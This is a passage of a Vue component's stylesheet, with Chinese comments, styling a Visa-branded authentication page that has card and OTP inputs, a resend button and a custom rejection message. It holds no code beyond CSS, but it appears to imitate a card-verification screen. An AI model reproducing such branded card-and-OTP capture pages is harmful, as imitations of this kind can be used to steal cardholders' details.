        <span>Need Some Help?</span>
        <span class="plus">+</span>
      </div>
    </div> -->
  </div>
</template>

<style scoped>
.visa-auth-page {
  max-width: 375px;
  margin: 0 auto;
  background: #fff;
  padding: 0 0 24px 0;
  min-height: 100vh;
  font-family: "Segoe UI", Arial, sans-serif;
  color: #333;
  box-sizing: border-box;
  width: 100%;
}

/* 小屏幕适配 - 最大宽度80% */
@media (max-width: 767px) {
  .visa-auth-page {
    max-width: 80%;
    width: 100%;
  }
}

/* PC宽屏适配 */
@media (min-width: 768px) {
  .visa-auth-page {
    max-width: 100%;
    min-height: auto;
    padding: 0 0 40px 0;
  }
}
.header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  height: 48px;
  padding: 0 24px 0 16px;
}
.header-icon {
  display: inline-block;
  width: 32px;
  height: 32px;
  background: url('data:image/svg+xml,<svg viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><rect y="5" width="16" height="2" rx="1" fill="%23444"/><rect x="3" y="8" width="10" height="2" rx="1" fill="%23444"/><rect x="5" y="11" width="6" height="2" rx="1" fill="%23444"/></svg>') no-repeat center/60%;
  cursor: pointer;
}

.result-container {
  padding: 20px 24px;
}

.auth-content {
  margin: 20px 0;
  padding: 16px;
  background: #f7f8fa;
  border-radius: 8px;
  color: #333;
  font-size: 14px;
}

.app-info {
  margin: 20px 24px;
  padding: 20px;
  background: #f7f8fa;
  border-radius: 8px;
  text-align: center;
  color: #444;
  font-size: 15px;
  line-height: 1.6;
}
.header-spacer {
  flex: 1;
}
.visa-logo {
  height: 28px;
  width: auto;
  object-fit: contain;
}
.divider {
  border: none;
  border-bottom: 1px solid #d4d7de;
  margin: 0 0 12px 0;
}
.auth-title {
  padding-top: 16px;
  font-weight: bold;
  font-size: 18px;
  text-align: center;
}
.auth-info {
  margin: 20px auto;
  color: #444;
  font-size: 15px;
  text-align: center;
  line-height: 1.5;
}

/* PC宽屏适配 */
@media (min-width: 768px) {
  .visa-auth-page {
    padding: 0 0 40px 0;
  }
  
  .header {
    padding: 0 32px 0 24px;
    height: 56px;
  }
  
  .auth-title {
    padding-top: 24px;
    font-size: 20px;
  }
  
  .auth-info {
    margin: 24px 32px 20px 32px;
    font-size: 16px;
    line-height: 1.5;
  }
  
  .input-wrapper {
    margin: 8px 32px 12px 32px;
  }
  
  .card-input-wrapper {
    margin: 8px 32px 12px 32px;
  }
  
  .otp-input {
    font-size: 17px;
    max-width: 400px;
  }
  
  .auth-btn {
    margin: 0 auto;
    font-size: 17px;
    height: 48px;
    max-width: 400px;
    display: block;
  }
  
  .resend {
    margin-top: 16px;
  }
  
  .result-container {
    padding: 32px 32px;
  }
  
  .reject-message {
    margin: 12px 32px 0 32px;
    font-size: 15px;
    padding: 12px 16px;
  }
  
  .app-info {
    margin: 24px 32px;
    padding: 24px;
    font-size: 16px;
  }
}
.auth-summary {
  color: #222;
  font-size: 15px;
  margin: 8px 0 18px 0;
  padding-left: 0;
  text-align: center;
}
.input-wrapper {
  display: flex;
  justify-content: center;
  margin: 6px 24px 8px 24px;
}

.card-input-wrapper {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 8px;
  margin: 6px 24px 8px 24px;
}

.otp-input {
  border-radius: 8px;
  background: #fff;
  font-size: 16px;
  max-width: 400px;
  width: 100%;
}
.auth-btn {
  border-radius: 8px;
  font-size: 16px;
  font-weight: 500;
  max-width: 400px;
  margin-left: auto;
  margin-right: auto;
}
.resend {
  margin-top: 13px;
  background: #fff;
  border: 1px solid #7C96A6;
  color: #7C96A6;
}
.auth-links {
  width: 100%;
  margin-top: 28px;
  padding: 0 18px;
}
.link-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  font-size: 15px;
  color: #444;
  border-top: 1px solid #ececec;
  padding: 14px 0 8px 0;
}
.plus {
  font-weight: 900;
  font-size: 21px;
}

/* 拒绝自定义文案样式（红字） */
.reject-message {
  margin: 8px 24px 0 24px;
  padding: 8px 12px;
  color: #ff4444;
  font-size: 14px;
  text-align: center;

}
</style>
